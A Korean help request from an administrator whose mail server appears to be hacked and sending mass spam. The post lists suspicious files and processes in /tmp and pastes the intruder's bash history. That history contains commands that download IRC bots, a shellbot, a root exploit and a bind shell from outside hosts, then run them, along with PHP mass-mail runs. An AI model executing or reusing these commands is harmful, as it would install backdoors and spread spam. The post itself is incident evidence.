서버의 해킹정도를 알려주세요.

증상

저희 메일서버를 통해 매일 엄창난 메일을 발송합니다.

1. /tmp 에 cgi(실행파일), cmd.gif(폴더:메일발송문서), bot.txt:chmod(perl 소스파일) 등이 존재합니다.

2. ps -aux 하면 ./cgi, sh -i, bindz 프로세스가 떠있습니다.

3. /tmp 에서 .bash_history를 확인하면 아래와 같이 있습니다.

cd ..
ls
wget
cd /tmp
wget http://perso.wanadoo.es/louzape/tt.txt
cd /tmp;wget http://www.afroman.as.ro/bot.txt;chmod +x bot.txt;perl bot.txt;perl bot.txt
cd /tmp
wget http://perso.wanadoo.es/paparazz0/dd.html
GET http://perso.wanadoo.es/paparazz0/dd.html > dd.html
GET http://perso.wanadoo.es/paparazz0/teste.txt > teste.txt
GET http://perso.wanadoo.es/paparazz0/cc.txt > cc.txt
php cc.txt teste.txt dd.html
GGET http://perso.wanadoo.es/paparazz0/a.txt > a.txt
GET http://perso.wanadoo.es/paparazz0/a
GET http://perso.wanadoo.es/paparazz0/t3.txt > t3.txt
php cc.txt t3.txt dd.html
cd /tmp
rm bot.txt
ls
cd /tmp;wget http://www.afroman.as.ro/bot.txt;chmod +x bot.txt;perl bot.txt;perl bot.txt;cd /tmp;GET www.afroman.as.ro/bot.txt > bot.txt:chmod +x bot.txt;perl bot.txt;perl bot.txt
cd /tmp
ls
rm -fr *.txt
rm -fr *.htm
rm -fr *.html
ls
ls
wget www.cartaomusicalcards.com/vai.txt
get www.cartaomusicalcards.com/vai.txt
wget www.cartaomusicalcards.com/vai.txt
ps x
ls
id
cd /tmp
ls
php -v
mkdir cmd.gif
ls
cd cmd.gif
ls
wget http://groupiys.com/xpl/rootedoor
curl
curl -o rootdoor http://groupiys.com/xpl/rootedoor
ls
chmod 777 rootedoor
chmod 777 rootedor
ls
chmod 777 rootdoor
ls
./rootdoor
curl -o bindz http://groupiys.com/xpl/bindz
chmod 777 bindz
./bindz
killall -9 cgi
killall -9 cgi
cd tmp
ls
cd cmd.gif
ls
curl -o shell.txt http://www.lapizlopez.cl/shellbot.txt
ls
perl shell.txt
killall -9 php
cd /etc
ls
chmod 777 proc
cd /tmp/cmd.
cd /tmp/cmd.gif
ls
pwd
rm -rf *
w
uname -a
uptime
php -v
curl
curl -o cards.htmll
curl -o cards.html http://www.lapizlopez.cl/cards.html
ls
curl -o http://www.lapizlopez.cl/test.txt
ls
curl -o test.txt http://www.lapizlopez.cl/test.txt
ls
curl -o card.txt http://www.lapizlopez.cl/card.txt;ls
php -e card.txt test.txt cards.html
curl -o lista.4.txt http://www.lapizlopez.cl/lista4.txt
ls
php -e card.txt lista.4.txt cards.html;php -e card.txt test.txt cards.html
ps x

확인 후 빠른 답변좀 부탁 드립니다.